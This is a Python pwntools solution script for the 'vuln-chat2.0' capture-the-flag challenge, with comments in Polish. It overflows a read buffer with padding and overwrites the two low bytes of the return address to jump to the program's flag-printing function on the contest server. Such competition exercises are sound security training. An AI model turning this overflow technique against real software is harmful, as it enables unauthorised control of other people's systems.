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#!/usr/bin/env python2 | |
#okazalo się że można nadpisać dwa mnie znaczące bajty adresu powrotu, | |
#to wystarcza żebo skoczyć no metody drukującej flage - nie trza żadnych ropów | |
from pwn import * | |
context.arch = 'i386' | |
#p = process('./vuln-chat2.0') | |
p = remote('vulnchat2.tuctf.com', 4242) | |
#gdb.attach(p) | |
print p.recvuntil(":") | |
p.sendline("user") | |
print p.recvuntil("user: ") | |
#raw_input("klik") | |
padding_read = "eMVM3MbuSXRxPsT4QSLG4ertPc4XkrbMuPwMzMP3PNL" | |
part_ret = "\x72\x86" # 2 LSB of flag method | |
p.sendline(padding_read + part_ret) # overwrite 2 bytes of ret address with flag method | |
p.recv() | |
print p.recvuntil("}") |
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